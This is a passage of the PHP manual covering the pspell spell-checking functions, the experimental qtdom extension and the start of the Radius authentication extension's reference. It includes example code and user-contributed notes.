例子 1. pspell_config_ignore()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_ignore($pspell_config, 5);
$pspell_link = pspell_new_config($pspell_config);
pspell_check($pspell_link, "abcd");    //will not result in an error
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pspell_config_dict_dir | 上一级 | pspell_config_mode


pspell_config_mode

(PHP 4 >= 4.0.2, PHP 5)

pspell_config_mode -- Change the mode number of suggestions returned

Description

bool pspell_config_mode ( int dictionary_link, int mode )

pspell_config_mode() should be used on a config before calling pspell_new_config(). This function determines how many suggestions will be returned by pspell_suggest().

The mode parameter is the mode in which spellchecker will work. There are several modes available:

  • PSPELL_FAST - Fast mode (least number of suggestions)

  • PSPELL_NORMAL - Normal mode (more suggestions)

  • PSPELL_BAD_SPELLERS - Slow mode (a lot of suggestions)

例子 1. pspell_config_mode()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_mode($pspell_config, PSPELL_FAST);
$pspell_link = pspell_new_config($pspell_config);
pspell_check($pspell_link, "thecat");
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pspell_config_ignore | 上一级 | pspell_config_personal


pspell_config_personal

(PHP 4 >= 4.0.2, PHP 5)

pspell_config_personal -- Set a file that contains personal wordlist

Description

bool pspell_config_personal ( int dictionary_link, string file )

pspell_config_personal() should be used on a config before calling pspell_new_config(). The personal wordlist will be loaded and used in addition to the standard one after you call pspell_new_config(). If the file does not exist, it will be created. The file is also the file where pspell_save_wordlist() will save personal wordlist to. The file should be writable by whoever PHP runs as (e.g. nobody). Please, note that this function will not work unless you have pspell .11.2 and aspell .32.5 or later.

例子 1. pspell_config_personal()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
$pspell_link = pspell_new_config($pspell_config);
pspell_check($pspell_link, "thecat");
?>

add a note add a note User Contributed Notes
Jonathan Boswell
18-Jun-2005 04:45
If you have trouble getting the personal dictionary to load, make sure your dictionary is at the Document root level. Sub folder dictionary files seem to have an issue loading.

<?php
   $file = $_SERVER["DOCUMENT_ROOT"] . "/test/personal_dictionary.txt"; //Has issues loading
   $file = $_SERVER["DOCUMENT_ROOT"] . "/personal_dictionary.txt";  //Loads correctly

   $pspell_config = pspell_config_create("en");
   pspell_config_personal($pspell_config,$file);
   $pspell_link = pspell_new_config($pspell_config);

?>
add a note add a note

后退 | 起点 | 前进
pspell_config_mode | 上一级 | pspell_config_repl


pspell_config_repl

(PHP 4 >= 4.0.2, PHP 5)

pspell_config_repl -- Set a file that contains replacement pairs

Description

bool pspell_config_repl ( int dictionary_link, string file )

pspell_config_repl() should be used on a config before calling pspell_new_config(). The replacement pairs improve the quality of the spellchecker. When a word is misspelled, and a proper suggestion was not found in the list, pspell_store_replacement() can be used to store a replacement pair and then pspell_save_wordlist() to save the wordlist along with the replacement pairs. The file should be writable by whoever PHP runs as (e.g. nobody). Please, note that this function will not work unless you have pspell .11.2 and aspell .32.5 or later.

例子 1. pspell_config_repl()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
pspell_config_repl($pspell_config, "/var/dictionaries/custom.repl");
$pspell_link = pspell_new_config($pspell_config);
pspell_check($pspell_link, "thecat");
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pspell_config_personal | 上一级 | pspell_config_runtogether


pspell_config_runtogether

(PHP 4 >= 4.0.2, PHP 5)

pspell_config_runtogether -- Consider run-together words as valid compounds

Description

bool pspell_config_runtogether ( int dictionary_link, bool flag )

pspell_config_runtogether() should be used on a config before calling pspell_new_config(). This function determines whether run-together words will be treated as legal compounds. That is, "thecat" will be a legal compound, although there should be a space between the two words. Changing this setting only affects the results returned by pspell_check(); pspell_suggest() will still return suggestions.

例子 1. pspell_config_runtogether()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_runtogether($pspell_config, true);
$pspell_link = pspell_new_config($pspell_config);
pspell_check($pspell_link, "thecat");
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pspell_config_repl | 上一级 | pspell_config_save_repl


pspell_config_save_repl

(PHP 4 >= 4.0.2, PHP 5)

pspell_config_save_repl -- Determine whether to save a replacement pairs list along with the wordlist

Description

bool pspell_config_save_repl ( int dictionary_link, bool flag )

pspell_config_save_repl() should be used on a config before calling pspell_new_config(). It determines whether pspell_save_wordlist() will save the replacement pairs along with the wordlist. Usually there is no need to use this function because if pspell_config_repl() is used, the replacement pairs will be saved by pspell_save_wordlist() anyway, and if it is not, the replacement pairs will not be saved. Please, note that this function will not work unless you have pspell .11.2 and aspell .32.5 or later.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pspell_config_runtogether | 上一级 | pspell_new_config


pspell_new_config

(PHP 4 >= 4.0.2, PHP 5)

pspell_new_config -- Load a new dictionary with settings based on a given config

Description

int pspell_new_config ( int config )

pspell_new_config() opens up a new dictionary with settings specified in a config, created with pspell_config_create() and modified with pspell_config_*() functions. This method provides you with the most flexibility and has all the functionality provided by pspell_new() and pspell_new_personal().

The config parameter is the one returned by pspell_config_create() when the config was created.

例子 1. pspell_new_config()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
pspell_config_repl($pspell_config, "/var/dictionaries/custom.repl");
$pspell_link = pspell_new_config($pspell_config);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pspell_config_save_repl | 上一级 | pspell_new_personal


pspell_new_personal

(PHP 4 >= 4.0.2, PHP 5)

pspell_new_personal -- Load a new dictionary with personal wordlist

Description

int pspell_new_personal ( string personal, string language [, string spelling [, string jargon [, string encoding [, int mode]]]] )

pspell_new_personal() opens up a new dictionary with a personal wordlist and returns the dictionary link identifier for use in other pspell functions. The wordlist can be modified and saved with pspell_save_wordlist(), if desired. However, the replacement pairs are not saved. In order to save replacement pairs, you should create a config using pspell_config_create(), set the personal wordlist file with pspell_config_personal(), set the file for replacement pairs with pspell_config_repl(), and open a new dictionary with pspell_new_config().

The personal parameter specifies the file where words added to the personal list will be stored. It should be an absolute filename beginning with '/' because otherwise it will be relative to $HOME, which is "/root" for most systems, and is probably not what you want.

The language parameter is the language code which consists of the two letter ISO 639 language code and an optional two letter ISO 3166 country code after a dash or underscore.

The spelling parameter is the requested spelling for languages with more than one spelling such as English. Known values are 'american', 'british', and 'canadian'.

The jargon parameter contains extra information to distinguish two different words lists that have the same language and spelling parameters.

The encoding parameter is the encoding that words are expected to be in. Valid values are 'utf-8', 'iso8859-*', 'koi8-r', 'viscii', 'cp1252', 'machine unsigned 16', 'machine unsigned 32'. This parameter is largely untested, so be careful when using.

The mode parameter is the mode in which spellchecker will work. There are several modes available:

  • PSPELL_FAST - Fast mode (least number of suggestions)

  • PSPELL_NORMAL - Normal mode (more suggestions)

  • PSPELL_BAD_SPELLERS - Slow mode (a lot of suggestions)

  • PSPELL_RUN_TOGETHER - Consider run-together words as legal compounds. That is, "thecat" will be a legal compound, although there should be a space between the two words. Changing this setting only affects the results returned by pspell_check(); pspell_suggest() will still return suggestions.

Mode is a bitmask constructed from different constants listed above. However, PSPELL_FAST, PSPELL_NORMAL and PSPELL_BAD_SPELLERS are mutually exclusive, so you should select only one of them.

For more information and examples, check out inline manual pspell website:http://aspell.net/.

例子 1. pspell_new_personal()

<?php
$pspell_link = pspell_new_personal ("/var/dictionaries/custom.pws",
        "en", "", "", "", PSPELL_FAST|PSPELL_RUN_TOGETHER);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pspell_new_config | 上一级 | pspell_new


pspell_new

(PHP 4 >= 4.0.2, PHP 5)

pspell_new -- Load a new dictionary

Description

int pspell_new ( string language [, string spelling [, string jargon [, string encoding [, int mode]]]] )

pspell_new() opens up a new dictionary and returns the dictionary link identifier for use in other pspell functions.

The language parameter is the language code which consists of the two letter ISO 639 language code and an optional two letter ISO 3166 country code after a dash or underscore.

The spelling parameter is the requested spelling for languages with more than one spelling such as English. Known values are 'american', 'british', and 'canadian'.

The jargon parameter contains extra information to distinguish two different words lists that have the same language and spelling parameters.

The encoding parameter is the encoding that words are expected to be in. Valid values are 'utf-8', 'iso8859-*', 'koi8-r', 'viscii', 'cp1252', 'machine unsigned 16', 'machine unsigned 32'. This parameter is largely untested, so be careful when using.

The mode parameter is the mode in which spellchecker will work. There are several modes available:

  • PSPELL_FAST - Fast mode (least number of suggestions)

  • PSPELL_NORMAL - Normal mode (more suggestions)

  • PSPELL_BAD_SPELLERS - Slow mode (a lot of suggestions)

  • PSPELL_RUN_TOGETHER - Consider run-together words as legal compounds. That is, "thecat" will be a legal compound, although there should be a space between the two words. Changing this setting only affects the results returned by pspell_check(); pspell_suggest() will still return suggestions.

Mode is a bitmask constructed from different constants listed above. However, PSPELL_FAST, PSPELL_NORMAL and PSPELL_BAD_SPELLERS are mutually exclusive, so you should select only one of them.

For more information and examples, check out inline manual pspell website:http://aspell.net/.

例子 1. pspell_new()

<?php
$pspell_link = pspell_new("en", "", "", "",
                           (PSPELL_FAST|PSPELL_RUN_TOGETHER));
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pspell_new_personal | 上一级 | pspell_save_wordlist


pspell_save_wordlist

(PHP 4 >= 4.0.2, PHP 5)

pspell_save_wordlist -- Save the personal wordlist to a file

Description

bool pspell_save_wordlist ( int dictionary_link )

pspell_save_wordlist() saves the personal wordlist from the current session. The dictionary has to be open with pspell_new_personal(), and the location of files to be saved specified with pspell_config_personal() and (optionally) pspell_config_repl(). Please, note that this function will not work unless you have pspell .11.2 and aspell .32.5 or later.

例子 1. pspell_add_to_personal()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/tmp/dicts/newdict");
$pspell_link = pspell_new_config($pspell_config);

pspell_add_to_personal($pspell_link, "Vlad");
pspell_save_wordlist($pspell_link);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pspell_new | 上一级 | pspell_store_replacement


pspell_store_replacement

(PHP 4 >= 4.0.2, PHP 5)

pspell_store_replacement -- Store a replacement pair for a word

Description

bool pspell_store_replacement ( int dictionary_link, string misspelled, string correct )

pspell_store_replacement() stores a replacement pair for a word, so that replacement can be returned by pspell_suggest() later. In order to be able to take advantage of this function, you have to use pspell_new_personal() to open the dictionary. In order to permanently save the replacement pair, you have to use pspell_config_personal() and pspell_config_repl() to set the path where to save your custom wordlists, and then use pspell_save_wordlist() for the changes to be written to disk. Please, note that this function will not work unless you have pspell .11.2 and aspell .32.5 or later.

例子 1. pspell_store_replacement()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
pspell_config_repl($pspell_config, "/var/dictionaries/custom.repl");
$pspell_link = pspell_new_config($pspell_config);

pspell_store_replacement($pspell_link, $misspelled, $correct);
pspell_save_wordlist($pspell_link);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pspell_save_wordlist | 上一级 | pspell_suggest


pspell_suggest

(PHP 4 >= 4.0.2, PHP 5)

pspell_suggest -- Suggest spellings of a word

Description

array pspell_suggest ( int dictionary_link, string word )

pspell_suggest() returns an array of possible spellings for the given word.

例子 1. pspell_suggest() example

<?php
$pspell_link = pspell_new("en");

if (!pspell_check($pspell_link, "testt")) {
    $suggestions = pspell_suggest($pspell_link, "testt");

    foreach ($suggestions as $suggestion) {
        echo "Possible spelling: $suggestion<br />";
    }
}
?>

add a note add a note User Contributed Notes
abhishek dot ratani at gmail dot com
24-Feb-2005 02:14
http://aspell.net/metaphone/

This shows that the pspell library uses metaphones already. I don't know how much better the code andoryuusama at gmail dot com.
andoryuusama at gmail dot com
31-Dec-2004 05:37
To get a more meaningful "did you mean", I use metaphones on the suggestion list, this helps to insure that the word is one that "sounds" closer to the word spelled wrong.

<?php
function spellcheck ( $string ) {
   $words = split(' ',$string);
   $misspelled = $return = array();
   pspell_config_create("en",PSPELL_NORMAL);
   $int = pspell_new('en');
   foreach ($words as $value) {
       $check = preg_split('/[\W]+?/',$value);
       if (($check[1] != '') and (strpos("'",$value) > 0) ) {$check[0] = $value;}
       if (($check[0] + 1 == 1) and (!pspell_check($int, $check[0]) )) {
           $res  .= '<SPAN class="misspelled" style="color:#FF0000; font-weight:bold;">' . $value . ' </SPAN> ';
           $poss = pspell_suggest($int,$value);
           $orig = metaphone($value);
           foreach ($poss as $suggested)
           {
                 $ranked[metaphone($suggested)] = $suggested;
           }
           if ($ranked[$orig] <> '') {$poss[1] = $ranked[$orig];}

           $res2  .= '<SPAN style="color:#CC8800; font-weight:bold">' . $poss[1] . ' </SPAN> ';

       } else {
       $res .= $value . ' ';
       $res2 .= $value . ' ';
       }
   }

   $n[1] = $res;
   $n[2] = $res2;
   return $n;
}
?>

this helps to correct for the fact that pspell_suggest's first idea of a replacement is just the first in the alphabet.
webmaster at hostpure dot com
13-Apr-2004 08:42
It seems if you are trying to do something similar to the Google 'Did you mean:' suggestions and are selecting the first word given by the pspell_suggest() function, then it will not work well with custom dictionaries and replacements. Take the following code for example:

<?php
   $pspell_config = pspell_config_create("en");
   pspell_config_personal($pspell_config, "/home/user/public_html/custom.pws");
   pspell_config_repl($pspell_config, "/home/user/public_html/custom.repl");
   $pspell_link = pspell_new_config($pspell_config);

   $words = preg_split ("/\s+/", $query);
   $ii = count($words);

   global $spellchecked;
   $spellchecked = "";

   for($i=0;$i<$ii;$i++){

       if (pspell_check($pspell_link, $words[$i]))
       {
           $spellchecked .= $words[$i]." ";
       }
       else
       {
           $erroneous = "yes";
           $suggestions = pspell_suggest($pspell_link, $words[$i]);
           $spellchecked .= $suggestions[0]." ";
       }
   }
   if($erroneous == "yes")
   {
       echo "Did you mean: <i>".$spellchecked."?";
   }
   else
   {
       echo $spellchecked . " is a valid word/phrase";
   }
?>

This works fine most of the time, and gives suggestions to what you meant when inserting a spelling mistake with most inputs. However, if you specify a custom replacement and then search for the misspelt word that you specified, then if it is not the first returned suggestion it wont be used in the 'Did you mean' end result. What you need to do is open up the custom dictionary using fopen and fread, and then for each of the suggested words, check if they are in the dictionary. If the suggested word is in the custom dictionary then use it in the 'Did you mean' part, if not, discard it and try the next. Hope this helps anyone who comes across this problem with trying to get more accurate suggestions.
add a note add a note

后退 | 起点 | 前进
pspell_store_replacement | 上一级 | qtdom Functions


qtdom Functions

PHP 手册
后退 前进

CXIX. qtdom Functions

警告

本扩展模块是实验性的。本模块的行为，包括其函数的名称以及其它任何关于此模块的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本扩展模块风险自担。

注: 本扩展模块在 Windows 平台下不可用。

注: 本扩展已被移动到 PECL 库中且自以下版本起不再被绑定到 PHP 中：5.0.0.

需求

You need the Qt-library >=2.2.0

安装

Configure PHP --with-qtdom to use these functions.

目录
qdom_error -- Returns the error string from the last QDOM operation or FALSE if no errors occurred
qdom_tree -- Creates a tree of an XML string

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pspell_suggest | 上一级 | qdom_error


qdom_error

(PHP 4 >= 4.0.5, PECL)

qdom_error -- Returns the error string from the last QDOM operation or FALSE if no errors occurred

Description

string qdom_error ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
qtdom Functions | 上一级 | qdom_tree


qdom_tree

(PHP 4 >= 4.0.4, PECL)

qdom_tree -- Creates a tree of an XML string

Description

QDomDocument qdom_tree ( string doc )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
qdom_error | 上一级 | Radius


Radius

PHP 手册
后退 前进

CXX. Radius

简介

This package is based on the libradius of FreeBSD. This PECL adds full support for Radius Authentication (RFC 2865) and Radius Accounting (RFC 2866). This package is available for Unix (tested on FreeBSD and Linux) and for Windows.

注: An exact description for libradius can be found here. A detailed description of the configuration file can be found here.

安装

Howto install the package?

  • untar the package (usually into php4/ext)

  • rename radius-x.x to radius

  • run ./buildconf in php4

  • run ./configure --enable-radius

  • make; make install

or if you would like to have it as .so:

  • untar the package

  • run phpize in the radius-x.x directory

  • run ./configure in the radius-x.x directory

  • make; make install

For windows I recommend to use the php_radius.dll from http://snaps.php.net/. 可以从不同的 PECL 页面（选择适合自己 PHP 版本的库）取得未绑定的 PECL 扩展：PECL for PHP 4.3.x，PECL for PHP 5.0.x 或 PECL Unstable。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

RADIUS_ACCESS_REQUEST ()

Authentication Request

RADIUS_ACCESS_ACCEPT ()

Access accepted

RADIUS_ACCESS_REJECT ()

Access rejected

RADIUS_ACCOUNTING_REQUEST ()

Accounting request

RADIUS_ACCOUNTING_RESPONSE ()

Accounting response

RADIUS_ACCESS_CHALLENGE ()

Accsess challenge

RADIUS_USER_NAME (string)

Username

RADIUS_USER_PASSWORD (string)

Password

RADIUS_CHAP_PASSWORD (string)

Chap Password: chappass = md5(ident + plaintextpass + challenge)

RADIUS_NAS_IP_ADDRESS (string)

NAS IP-Adress

RADIUS_NAS_PORT (int)

NAS Port

RADIUS_SERVICE_TYPE (int)

Type of Service, one of:

RADIUS_LOGIN
RADIUS_FRAMED
RADIUS_CALLBACK_LOGIN
RADIUS_CALLBACK_FRAMED
RADIUS_OUTBOUND
RADIUS_ADMINISTRATIVE
RADIUS_NAS_PROMPT
RADIUS_AUTHENTICATE_ONLY
RADIUS_CALLBACK_NAS_PROMPT

RADIUS_FRAMED_PROTOCOL (int)

Framed Protocol, one of:

RADIUS_PPP
RADIUS_SLIP
RADIUS_ARAP
RADIUS_GANDALF
RADIUS_XYLOGICS

RADIUS_FRAMED_IP_ADDRESS (string)

IP-Address

RADIUS_FRAMED_IP_NETMASK (string)

Netmask

RADIUS_FRAMED_ROUTING (int)

Routing

RADIUS_FILTER_ID (string)

Filter ID

RADIUS_FRAMED_MTU (int)

MTU

RADIUS_FRAMED_COMPRESSION (int)

Compression, one of:

RADIUS_COMP_NONE
RADIUS_COMP_VJ
RADIUS_COMP_IPXHDR

RADIUS_LOGIN_IP_HOST (string)

Login IP Host

RADIUS_LOGIN_SERVICE (int)

Login Service

RADIUS_LOGIN_TCP_PORT (int)

Login TCP Port

RADIUS_REPLY_MESSAGE (string)

Reply Message

RADIUS_CALLBACK_NUMBER (string)

Callback Number

RADIUS_CALLBACK_ID (string)

Callback ID

RADIUS_FRAMED_ROUTE (string)

Framed Route

RADIUS_FRAMED_IPX_NETWORK (string)

Framed IPX Network

RADIUS_STATE (string)

State

RADIUS_CLASS (int)

Class

RADIUS_VENDOR_SPECIFIC (int)

Vendor specific attribute

RADIUS_SESSION_TIMEOUT (int)

Session timeout

RADIUS_IDLE_TIMEOUT (int)

Idle timeout

RADIUS_TERMINATION_ACTION (int)

Termination action

RADIUS_CALLED_STATION_ID (int)

Called Station Id

RADIUS_CALLING_STATION_ID (string)

Calling Station Id

RADIUS_NAS_IDENTIFIER (int)

NAS ID

RADIUS_PROXY_STATE (int)

Proxy State

RADIUS_LOGIN_LAT_SERVICE (int)

Login LAT Service

RADIUS_LOGIN_LAT_NODE (int)

Login LAT Node

RADIUS_LOGIN_LAT_GROUP (int)

Login LAT Group

RADIUS_FRAMED_APPLETALK_LINK (int)

Framed Appletalk Link

RADIUS_FRAMED_APPLETALK_NETWORK (int)

Framed Appletalk Network

RADIUS_FRAMED_APPLETALK_ZONE (int)

Framed Appletalk Zone

RADIUS_CHAP_CHALLENGE (string)

Challenge

RADIUS_NAS_PORT_TYPE (int)

NAS port type, one of:

RADIUS_ASYNC
RADIUS_SYNC
RADIUS_ISDN_SYNC
RADIUS_ISDN_ASYNC_V120
RADIUS_ISDN_ASYNC_V110
RADIUS_VIRTUAL
RADIUS_PIAFS
RADIUS_HDLC_CLEAR_CHANNEL
RADIUS_X_25
RADIUS_X_75
RADIUS_G_3_FAX
RADIUS_SDSL
RADIUS_ADSL_CAP
RADIUS_ADSL_DMT
RADIUS_IDSL
RADIUS_ETHERNET
RADIUS_XDSL
RADIUS_CABLE
RADIUS_WIRELESS_OTHER
RADIUS_WIRELESS_IEEE_802_11

RADIUS_PORT_LIMIT (int)

Port Limit

RADIUS_LOGIN_LAT_PORT (int)

Login LAT Port

RADIUS_CONNECT_INFO (string)

Connect info

RADIUS_ACCT_STATUS_TYPE (int)

Accounting status type, one of:

RADIUS_START
RADIUS_STOP
RADIUS_ACCOUNTING_ON
RADIUS_ACCOUNTING_OFF

RADIUS_ACCT_DELAY_TIME (int)

Accounting delay time

RADIUS_ACCT_INPUT_OCTETS (int)

Accounting input bytes

RADIUS_ACCT_OUTPUT_OCTETS (int)

Accounting output bytes

RADIUS_ACCT_SESSION_ID (int)

Accounting session ID

RADIUS_ACCT_AUTHENTIC (int)

Accounting authentic, one of:

RADIUS_AUTH_RADIUS
RADIUS_AUTH_LOCAL
RADIUS_AUTH_REMOTE

RADIUS_ACCT_SESSION_TIME (int)

Accounting session time

RADIUS_ACCT_INPUT_PACKETS (int)

Accounting input packets

RADIUS_ACCT_OUTPUT_PACKETS (int)

Accounting output packets

RADIUS_ACCT_TERMINATE_CAUSE (int)

Accounting terminate cause, one of:

RADIUS_TERM_USER_REQUEST
RADIUS_TERM_LOST_CARRIER
RADIUS_TERM_LOST_SERVICE
RADIUS_TERM_IDLE_TIMEOUT
RADIUS_TERM_SESSION_TIMEOUT
RADIUS_TERM_ADMIN_RESET
RADIUS_TERM_ADMIN_REBOOT
RADIUS_TERM_PORT_ERROR
RADIUS_TERM_NAS_ERROR
RADIUS_TERM_NAS_REQUEST
RADIUS_TERM_NAS_REBOOT
RADIUS_TERM_PORT_UNNEEDED
RADIUS_TERM_PORT_PREEMPTED
RADIUS_TERM_PORT_SUSPENDED
RADIUS_TERM_SERVICE_UNAVAILABLE
RADIUS_TERM_CALLBACK
RADIUS_TERM_USER_ERROR
RADIUS_TERM_HOST_REQUEST

RADIUS_ACCT_MULTI_SESSION_ID (string)

Accounting multi session ID

RADIUS_ACCT_LINK_COUNT (int)

Accounting link count

RADIUS_VENDOR_MICROSOFT (int)

Microsoft specific vendor attributes (RFC 2548), one of:

RADIUS_MICROSOFT_MS_CHAP_RESPONSE
RADIUS_MICROSOFT_MS_CHAP_ERROR
RADIUS_MICROSOFT_MS_CHAP_PW_1
RADIUS_MICROSOFT_MS_CHAP_PW_2
RADIUS_MICROSOFT_MS_CHAP_LM_ENC_PW
RADIUS_MICROSOFT_MS_CHAP_NT_ENC_PW
RADIUS_MICROSOFT_MS_MPPE_ENCRYPTION_POLICY
RADIUS_MICROSOFT_MS_MPPE_ENCRYPTION_TYPES
RADIUS_MICROSOFT_MS_RAS_VENDOR
RADIUS_MICROSOFT_MS_CHAP_DOMAIN
RADIUS_MICROSOFT_MS_CHAP_CHALLENGE
RADIUS_MICROSOFT_MS_CHAP_MPPE_KEYS
RADIUS_MICROSOFT_MS_BAP_USAGE
RADIUS_MICROSOFT_MS_LINK_UTILIZATION_THRESHOLD
RADIUS_MICROSOFT_MS_LINK_DROP_TIME_LIMIT
RADIUS_MICROSOFT_MS_MPPE_SEND_KEY
RADIUS_MICROSOFT_MS_MPPE_RECV_KEY
RADIUS_MICROSOFT_MS_RAS_VERSION
RADIUS_MICROSOFT_MS_OLD_ARAP_PASSWORD
RADIUS_MICROSOFT_MS_NEW_ARAP_PASSWORD
RADIUS_MICROSOFT_MS_ARAP_PASSWORD_CHANGE_REASON
RADIUS_MICROSOFT_MS_FILTER
RADIUS_MICROSOFT_MS_ACCT_AUTH_TYPE
RADIUS_MICROSOFT_MS_ACCT_EAP_TYPE
RADIUS_MICROSOFT_MS_CHAP2_RESPONSE
RADIUS_MICROSOFT_MS_CHAP2_SUCCESS
RADIUS_MICROSOFT_MS_CHAP2_PW
RADIUS_MICROSOFT_MS_PRIMARY_DNS_SERVER
RADIUS_MICROSOFT_MS_SECONDARY_DNS_SERVER
RADIUS_MICROSOFT_MS_PRIMARY_NBNS_SERVER
RADIUS_MICROSOFT_MS_SECONDARY_NBNS_SERVER
RADIUS_MICROSOFT_MS_ARAP_CHALLENGE

Quickstart

Howto start?

  • get a radius resource

  • configure the library

  • create the request

  • put attributes

  • send the request

  • receive attributes

  • close the radius resource (optional)

Take also a look at the examples in this package.

The package contains an example php script. This script demonstrates howto authenticate with radius using PAP or CHAP (md5). If you authenticate with Microsoft Radius servers then its not possible to use CHAP (md5). If you would like to authenticate with Microsoft Servers you have to use MS-CHAPv1 or MS-CHAPv2, but its more complicated, because you need md4, sha1 and des to generate the right data. The enclosed examples demonstrate all authentication-methods, including MS-CHAPv1 and MS-CHAPv2. To get the MS-CHAP to work you need the mcrypt and the mhash extension, starting with version 1.2 of the package, the mcrypt extension is no longer needed.

Contact Information

If you have comments, bugfixes, enhancements or want to help to develop this you can send me a mail at mbretter@php.net. Binaries for Windows can be downloaded from here.

目录
radius_acct_open -- Creates a Radius handle for accounting
radius_add_server -- Adds a server
radius_auth_open -- Creates a Radius handle for authentication
radius_close -- Frees all ressources
radius_config -- Causes the library to read the given configuration file
radius_create_request -- Create accounting or authentication request
radius_cvt_addr -- Converts raw data to IP-Address
radius_cvt_int -- Converts raw data to integer
radius_cvt_string -- Converts raw data to string
radius_demangle_mppe_key -- Derives mppe-keys from mangled data
radius_demangle -- Demangles data
radius_get_attr -- Extracts an attribute
radius_get_vendor_attr -- Extracts a vendor specific attribute
radius_put_addr -- Attaches an IP-Address attribute
radius_put_attr -- Attaches a binary attribute
radius_put_int -- Attaches an integer attribute
radius_put_string -- Attaches a string attribute
radius_put_vendor_addr -- Attaches a vendor specific IP-Address attribute
radius_put_vendor_attr -- Attaches a vendor specific binary attribute
radius_put_vendor_int -- Attaches a vendor specific integer attribute
radius_put_vendor_string -- Attaches a vendor specific string attribute
radius_request_authenticator -- Returns the request authenticator
radius_send_request -- Sends the request and waites for a reply
radius_server_secret -- Returns the shared secret
radius_strerror -- Returns an error message

add a note add a note User Contributed Notes
shaun at verticalevolution dot com
27-Apr-2006 11:03
To expand on the simple example by jengo at phpgroupware dot org you can add a NAS IP address to the request by using:

radius_put_addr($radius, RADIUS_NAS_IP_ADDRESS, '127.0.0.1');

and not radius_put_attr or radius_put_string. I also had to use radius_put_string for the user name and password.
brett at silcon dot com
14-Jan-2006 02:20
Here's a longer example that DOES do Challenge Response and works with SecurID Authentication Managers.

http://www.webtrotter.com/securid_radius.txt

(script wouldn't let me post it because of the long lines, plus it was too long of an example).
jengo at phpgroupware dot org
24-Oct-2005 11:26
Here is a simple example on how to auth against radius.  Note:  This doesn't handle challenge responses.

   $radius = radius_auth_open();
   if (! radius_add_server($radius,'localhost',0,'radiussecret',5,3))
   {
       die('Radius Error: ' . radius_strerror($radius));
   }

   if (! radius_create_request($radius,RADIUS_ACCESS_REQUEST))
   {
       die('Radius Error: ' . radius_strerror($radius));
   }

   radius_put_attr($radius,RADIUS_USER_NAME,'username');
   radius_put_attr($radius,RADIUS_USER_PASSWORD,'password');

   switch (radius_send_request($radius))
   {
       case RADIUS_ACCESS_ACCEPT:
           echo 'GOOD LOGIN';
           break;
       case RADIUS_ACCESS_REJECT:
           echo 'BAD LOGIN';
           break;
       case RADIUS_ACCESS_CHALLENGE:
           echo 'CHALLENGE REQUESTED';
           break;
       default:
           die('Radius Error: ' . radius_strerror($radius));
   }
add a note add a note

后退 | 起点 | 前进
qdom_tree | 上一级 | radius_acct_open


radius_acct_open

(PECL)

radius_acct_open -- Creates a Radius handle for accounting

说明

resource radius_acct_open ( void )

返回值

Returns a handle on success, FALSE on error. This function only fails if insufficient memory is available.

范例

例子 1. radius_acct_open() example

<?php
$res = radius_acct_open ()
    or die ("Could not create handle");
print("Handle successfully created");
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Radius | 上一级 | radius_add_server


radius_add_server

(PECL)

radius_add_server -- Adds a server

说明

bool radius_add_server ( resource radius_handle, string hostname, int port, string secret, int timeout, int max_tries )

radius_add_server() may be called multiple times, and it may be used together with radius_config(). At most 10 servers may be specified. When multiple servers are given, they are tried in round-robin fashion until a valid response is received, or until each server's max_tries limit has been reached.

参数

radius_handle

hostname

The hostname parameter specifies the server host, either as a fully qualified domain name or as a dotted-quad IP address in text form.

port

The port specifies the UDP port to contact on the server. If port is given as 0, the library looks up the radius/udp or radacct/udp service in the network services database, and uses the port found there. If no entry is found, the library uses the standard Radius ports, 1812 for authentication and 1813 for accounting.

secret

The shared secret for the server host is passed to the secret parameter. The Radius protocol ignores all but the leading 128 bytes of the shared secret.

timeout

The timeout for receiving replies from the server is passed to the timeout parameter, in units of seconds.

max_tries

The maximum number of repeated requests to make before giving up is passed into the max_tries.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. radius_add_server() example

<?php
if (!radius_add_server($res, 'radius.example.com', 1812, 'testing123', 3, 3)) {
    echo 'RadiusError:' . radius_strerror($res). "\n<br>";
    exit;
}
?>

参见

radius_config()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
radius_acct_open | 上一级 | radius_auth_open


radius_auth_open

(PECL)

